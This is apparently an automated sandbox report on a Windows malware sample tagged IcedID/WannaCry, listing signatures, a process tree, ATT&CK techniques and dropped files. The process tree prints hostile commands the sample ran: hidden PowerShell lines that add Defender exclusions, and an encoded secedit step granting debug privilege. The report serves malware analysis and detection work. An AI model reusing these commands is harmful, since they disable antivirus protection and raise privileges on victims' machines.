Overview

overview

10

Static

static

10

2026-07-02...ry.exe

windows10-2004-x64

10

2026-07-02...ry.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/07/2026, 07:27

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-02_ccb56d2ca57a2cb81d5ccdef5fd82827_icedid_wannacry.exe
  • Size 11.2MB
  • Sample260702-jalgzscs2k
  • SHA256 0ef1f9143ea254e981db08cdc621e6fe8464cdae62e25c0033f6e539d8fecbe9
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionpersistencetrojanupx

Malware Config

Signatures

  • UAC bypass 3 TTPs 3 IoCs
    defense_evasiontrojan
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 41 IoCs
  • Detects Windows executables referencing non-Windows User-Agents 41 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 41 IoCs
  • Detects executables calling ClearMyTracksByProcess 41 IoCs
  • Detects executables containing commands for clearing Windows Event Logs 41 IoCs
  • Detects executables referencing many IR and analysis tools 41 IoCs
  • Detects executables referencing many confidential data stores found in browsers, mail clients, crypt 41 IoCs
  • UPX dump on OEP (original entry point) 44 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 10 IoCs
  • Loads dropped DLL 7 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Suspicious use of SetThreadContext 3 IoCs
  • UPX packed file 44 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-02_ccb56d2ca57a2cb81d5ccdef5fd82827_icedid_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-02_ccb56d2ca57a2cb81d5ccdef5fd82827_icedid_wannacry.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4680
    • C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe
      "C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" __IRAOFF:5226434 "__IRAFN:C:\Users\Admin\AppData\Local\Temp\2026-07-02_ccb56d2ca57a2cb81d5ccdef5fd82827_icedid_wannacry.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-1788976790-1541110888-1636651838-1000"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Program Files directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3904
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe' -Force" >nul 2>&1
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2388
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe' -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2300
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess '2026-07-02_ccb56d2ca57a2cb81d5ccdef5fd82827_icedid_wannacry.exe' -Force" >nul 2>&1
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3312
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess '2026-07-02_ccb56d2ca57a2cb81d5ccdef5fd82827_icedid_wannacry.exe' -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4044
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c timeout /t 2 /nobreak >nul
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3448
        • C:\Windows\system32\timeout.exe
          timeout /t 2 /nobreak
          4⤵
          • Delays execution with timeout.exe
          PID:224
      • C:\Users\Admin\AppData\Local\iusb3mon.exe
        "C:\Users\Admin\AppData\Local\iusb3mon.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2452
        • C:\Windows\SysWOW64\dllhost.exe
          "C:\Windows\SysWOW64\dllhost.exe"
          4⤵
          • UAC bypass
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of WriteProcessMemory
          PID:2084
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -Command "$temp = $env:TEMP;$inf = Join-Path $temp 'SeDebugPrivilege.inf';$sdb = Join-Path $temp 'SeDebugPrivilege.sdb';$log = Join-Path $temp 'SeDebugPrivilege.log';$b64 = '//5bAFUAbgBpAGMAbwBkAGUAXQANAAoAVQBuAGkAYwBvAGQAZQA9AHkAZQBzAA0ACgBbAFYAZQByAHMAaQBvAG4AXQANAAoAcwBpAGcAbgBhAHQAdQByAGUAPQAiACQAQwBIAEkAQwBBAEcATwAkACIADQAKAFIAZQB2AGkAcwBpAG8AbgA9ADEADQAKAFsAUAByAGkAdgBpAGwAZQBnAGUAIABSAGkAZwBoAHQAcwBdAA0ACgBTAGUARABlAGIAdQBnAFAAcgBpAHYAaQBsAGUAZwBlACAAPQAgACoAUwAtADEALQA1AC0AMQA4AA0ACgA=';[IO.File]::WriteAllBytes($inf, [Convert]::FromBase64String($b64));secedit.exe /configure /db $sdb /cfg $inf /overwrite /log $log /quiet;Start-Sleep -Seconds 5;Remove-Item -Path $inf -Force;"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1220
            • C:\Windows\SysWOW64\SecEdit.exe
              "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.log /quiet
              6⤵
              • System Location Discovery: System Language Discovery
              PID:464
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Local\ziliao.jpg'"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5020
          • C:\Windows\SysWOW64\dllhost.exe
            C:\Windows\SysWOW64\dllhost.exe
            5⤵
              PID:896
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe'"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4124
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'iusb3mon.exe'"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2380
        • C:\Program Files\Your Product\MuMu_5.1.0_NtPvYgC.exe
          "C:\Program Files\Your Product\MuMu_5.1.0_NtPvYgC.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3828
          • C:\Users\Admin\AppData\Local\Temp\7z87451EF4\nemu-downloader.exe
            C:\Users\Admin\AppData\Local\Temp\7z87451EF4\nemu-downloader.exe
            4⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Loads dropped DLL
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:3076
            • C:\Users\Admin\AppData\Local\Temp\7z87451EF4\crashpad_handler.exe
              C:\Users\Admin\AppData\Local\Temp\7z87451EF4\crashpad_handler.exe --no-rate-limit --database=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native --metrics-dir=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native --url=https://sentry.netease.com:443/api/324/minidump/?sentry_client=sentry.native/0.5.0&sentry_key=02fc884050864ef68fb1d7655e21d3a1 --attachment=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native\e246c089-152d-4dff-6f77-6578e185b78a.run\__sentry-event --attachment=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native\e246c089-152d-4dff-6f77-6578e185b78a.run\__sentry-breadcrumb1 --attachment=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native\e246c089-152d-4dff-6f77-6578e185b78a.run\__sentry-breadcrumb2 --initial-client-data=0x350,0x354,0x358,0x32c,0x35c,0x750a4800,0x750a4818,0x750a4828
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:3756
            • C:\Users\Admin\AppData\Local\Temp\7z87451EF4\ColaBoxChecker.exe
              "C:\Users\Admin\AppData\Local\Temp\7z87451EF4\ColaBoxChecker.exe" checker /baseboard
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:2992
            • C:\Users\Admin\AppData\Local\Temp\7z87451EF4\HyperVChecker.exe
              "C:\Users\Admin\AppData\Local\Temp\7z87451EF4\HyperVChecker.exe"
              5⤵
              • Executes dropped EXE
              PID:3656
            • C:\Users\Admin\AppData\Local\Temp\7z87451EF4\HyperVChecker.exe
              "C:\Users\Admin\AppData\Local\Temp\7z87451EF4\HyperVChecker.exe"
              5⤵
              • Executes dropped EXE
              PID:3344
            • C:\Users\Admin\AppData\Local\Temp\7z87451EF4\HyperVChecker.exe
              "C:\Users\Admin\AppData\Local\Temp\7z87451EF4\HyperVChecker.exe"
              5⤵
              • Executes dropped EXE
              PID:3520
    • C:\Users\Admin\AppData\Local\iusb3mon.exe
      C:\Users\Admin\AppData\Local\iusb3mon.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2428
      • C:\Windows\SysWOW64\dllhost.exe
        "C:\Windows\SysWOW64\dllhost.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:3140

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          1
          T1059

          PowerShell

          1
          T1059.001

          Persistence

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Privilege Escalation

          Abuse Elevation Control Mechanism

          1
          T1548

          Bypass User Account Control

          1
          T1548.002

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Defense Evasion

          Abuse Elevation Control Mechanism

          1
          T1548

          Bypass User Account Control

          1
          T1548.002

          Impair Defenses

          1
          T1562

          Disable or Modify Tools

          1
          T1562.001

          Indicator Removal

          1
          T1070

          File Deletion

          1
          T1070.004

          Modify Registry

          2
          T1112

          Credential Access

          Discovery

          Peripheral Device Discovery

          1
          T1120

          Query Registry

          2
          T1012

          System Information Discovery

          3
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          MuMu_5.1.0_NtPvYgC.exe
          • Path C:\Program Files\Your Product\MuMu_5.1.0_NtPvYgC.exe
          • Size 5.8MB
          • SHA256 8dfe6f7a489e96e3280ae168a8b1b09e4926b07a67979774fa305d546d564ad8
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ziliao.jpg
          • Path C:\Users\Admin\AppData\Local\Local\ziliao.jpg
          • Size 293KB
          • SHA256 bf850d52f59358b30ed7730bbd7bbd257c97383a75e8c541548c022e21d5ec1b
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          powershell.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          powershell.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 d8abda98786dc6ee911965aaa0953eba2a5ed9f275f7d93446901bcd6eab62e3
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 d6b46fe5551226585ae1cd905c71dc8d1dc862555713e5f559942ab7d3870a0e
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 91a76a2c6c73116293fb7e5bfb12b00ef8128a04fbbb44153f4fd63794b2b8ae
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 17KB
          • SHA256 eb5897c01cb74c93d106f949992fc9cad2c57df6f11aecb5b206cb17000e6f83
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ColaBoxChecker.exe
          • Path C:\Users\Admin\AppData\Local\Temp\7z87451EF4\ColaBoxChecker.exe
          • Size 4.0MB
          • SHA256 1373c5d006a5dbcd9b86cfff9a37616f1245d1333c4adcefc7cd18926b98d752
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          HyperVChecker.exe
          • Path C:\Users\Admin\AppData\Local\Temp\7z87451EF4\HyperVChecker.exe
          • Size 117KB
          • SHA256 9ff467bc5a1c377102d25da9fa9c24dcc4375f456510f71584f0714fdfb2af39
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          baseboard
          • Path C:\Users\Admin\AppData\Local\Temp\7z87451EF4\baseboard
          • Size 113B
          • SHA256 59b9cfc76daa75c1980e9a18408296b2aa40e3f4b9c0c49c1da7cb63e9fdd904
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          config.ini
          • Path C:\Users\Admin\AppData\Local\Temp\7z87451EF4\config.ini
          • Size 356B
          • SHA256 010b1831849e20e6d71507edd084db7faf3cd07898821157acfbc3a9a32f2ab0
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          crashpad_handler.exe
          • Path C:\Users\Admin\AppData\Local\Temp\7z87451EF4\crashpad_handler.exe
          • Size 542KB
          • SHA256 9769c585019a1a19d96dc0f378bd90240015a54ba77288b2efc995f791a49bc0
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          msvcp140.dll
          • Path C:\Users\Admin\AppData\Local\Temp\7z87451EF4\msvcp140.dll
          • Size 427KB
          • SHA256 8acd9e63a83f2facfc68b801f864f923eac5fb8c8a046a32fef8d622ba7d407f
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          nemu-downloader.exe
          • Path C:\Users\Admin\AppData\Local\Temp\7z87451EF4\nemu-downloader.exe
          • Size 3.5MB
          • SHA256 72679ba77f23dace51bf090fa06723e92c5bd8b7543e777026f5d1f573e500eb
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          sentry.dll
          • Path C:\Users\Admin\AppData\Local\Temp\7z87451EF4\sentry.dll
          • Size 223KB
          • SHA256 2e108ccbbd47997978512835013d06500bef5575f29cb937f623d30596662819
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          skin.zip
          • Path C:\Users\Admin\AppData\Local\Temp\7z87451EF4\skin.zip
          • Size 385KB
          • SHA256 faa41992ec06e6c2dd9e158c9517a7cf9d1dc11e9899f11b8c20913bc02d44e5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          vcruntime140.dll
          • Path C:\Users\Admin\AppData\Local\Temp\7z87451EF4\vcruntime140.dll
          • Size 75KB
          • SHA256 526d8774c67248aa62a5911acd7db667cc4bed5be2cd5dc139c6c4d5dfb9d57e
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          SeDebugPrivilege.log
          • Path C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.log
          • Size 2KB
          • SHA256 dbd0fd8d055836f959b37fdace40b39eee306817c41da62e9fd34fa2d5196a12
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          __PSScriptPolicyTest_r0n52u4h.myp.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r0n52u4h.myp.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          irsetup.exe
          • Path C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe
          • Size 2.4MB
          • SHA256 4533dd35bd5c1a5dded81a81a6366cc82ddad43c4ae87e7721952617622b89f4
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          lua5.3.dll
          • Path C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\lua5.3.dll
          • Size 479KB
          • SHA256 b9265b509f82dca729f9ff7515a154e64360b2d07bb364afadc01a02c7998c03
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          iusb3mon.exe
          • Path C:\Users\Admin\AppData\Local\iusb3mon.exe
          • Size 150KB
          • SHA256 a27d2a57ce6b759b575efabfaa1b627dd99f51b43ec94e6d2bd11b0a7a6d451b
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/896-237-0x00000000006A0000-0x00000000006A7000-memory.dmp
          Download

          memory/896-233-0x00000000006A0000-0x00000000006A7000-memory.dmp
          Download

          memory/1220-279-0x0000000007AF0000-0x0000000007B86000-memory.dmp
          Download

          memory/1220-238-0x0000000006170000-0x00000000064C4000-memory.dmp
          Download

          memory/1220-255-0x0000000006920000-0x000000000693E000-memory.dmp
          Download

          memory/1220-256-0x0000000006940000-0x000000000698C000-memory.dmp
          Download

          memory/1220-281-0x0000000006E90000-0x0000000006EB2000-memory.dmp
          Download

          memory/1220-231-0x0000000005A00000-0x0000000006028000-memory.dmp
          Download

          memory/1220-230-0x00000000032D0000-0x0000000003306000-memory.dmp
          Download

          memory/1220-280-0x0000000006E40000-0x0000000006E5A000-memory.dmp
          Download

          memory/1220-292-0x0000000008190000-0x0000000008734000-memory.dmp
          Download

          memory/2084-83-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-85-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-206-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-204-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-213-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-214-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-211-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-207-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-234-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-388-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-205-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-379-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-82-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-210-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-84-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-81-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-72-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-74-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-75-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-257-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-259-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-76-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-77-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-78-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-79-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-80-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2084-67-0x0000000000A00000-0x0000000000A4A000-memory.dmp
          Download

          memory/2084-73-0x0000000000D10000-0x0000000000DF0000-memory.dmp
          Download

          memory/2300-25-0x000002359CA60000-0x000002359CA82000-memory.dmp
          Download

          memory/2380-369-0x000000006EEC0000-0x000000006EF0C000-memory.dmp
          Download

          memory/3140-319-0x0000000001370000-0x0000000001450000-memory.dmp
          Download

          memory/3140-320-0x0000000001370000-0x0000000001450000-memory.dmp
          Download

          memory/3140-322-0x0000000001370000-0x0000000001450000-memory.dmp
          Download

          memory/3140-321-0x0000000001370000-0x0000000001450000-memory.dmp
          Download

          memory/3140-332-0x0000000001370000-0x0000000001450000-memory.dmp
          Download

          memory/3140-331-0x0000000001370000-0x0000000001450000-memory.dmp
          Download

          memory/3140-330-0x0000000001370000-0x0000000001450000-memory.dmp
          Download

          memory/3140-329-0x0000000001370000-0x0000000001450000-memory.dmp
          Download

          memory/3140-328-0x0000000001370000-0x0000000001450000-memory.dmp
          Download

          memory/3140-327-0x0000000001370000-0x0000000001450000-memory.dmp
          Download

          memory/3140-326-0x0000000001370000-0x0000000001450000-memory.dmp
          Download

          memory/3140-325-0x0000000001370000-0x0000000001450000-memory.dmp
          Download

          memory/3140-324-0x0000000001370000-0x0000000001450000-memory.dmp
          Download

          memory/3140-323-0x0000000001370000-0x0000000001450000-memory.dmp
          Download

          memory/3904-70-0x00007FF648F80000-0x00007FF649763000-memory.dmp
          Download

          memory/3904-14-0x00007FF648F80000-0x00007FF649763000-memory.dmp
          Download

          memory/4124-351-0x000000006EEC0000-0x000000006EF0C000-memory.dmp
          Download

          memory/5020-291-0x0000000006420000-0x000000000643E000-memory.dmp
          Download

          memory/5020-333-0x0000000007390000-0x00000000073A1000-memory.dmp
          Download

          memory/5020-335-0x00000000073E0000-0x00000000073F4000-memory.dmp
          Download

          memory/5020-336-0x00000000074D0000-0x00000000074EA000-memory.dmp
          Download

          memory/5020-337-0x00000000074B0000-0x00000000074B8000-memory.dmp
          Download

          memory/5020-296-0x00000000077E0000-0x0000000007E5A000-memory.dmp
          Download

          memory/5020-283-0x000000006EEC0000-0x000000006EF0C000-memory.dmp
          Download

          memory/5020-334-0x00000000073D0000-0x00000000073DE000-memory.dmp
          Download

          memory/5020-293-0x0000000007050000-0x00000000070F3000-memory.dmp
          Download

          memory/5020-282-0x0000000007010000-0x0000000007042000-memory.dmp
          Download

          memory/5020-232-0x0000000004DA0000-0x0000000004DC2000-memory.dmp
          Download

          memory/5020-235-0x0000000004E40000-0x0000000004EA6000-memory.dmp
          Download

          memory/5020-297-0x0000000007200000-0x000000000720A000-memory.dmp
          Download

          memory/5020-236-0x0000000004EB0000-0x0000000004F16000-memory.dmp
          Download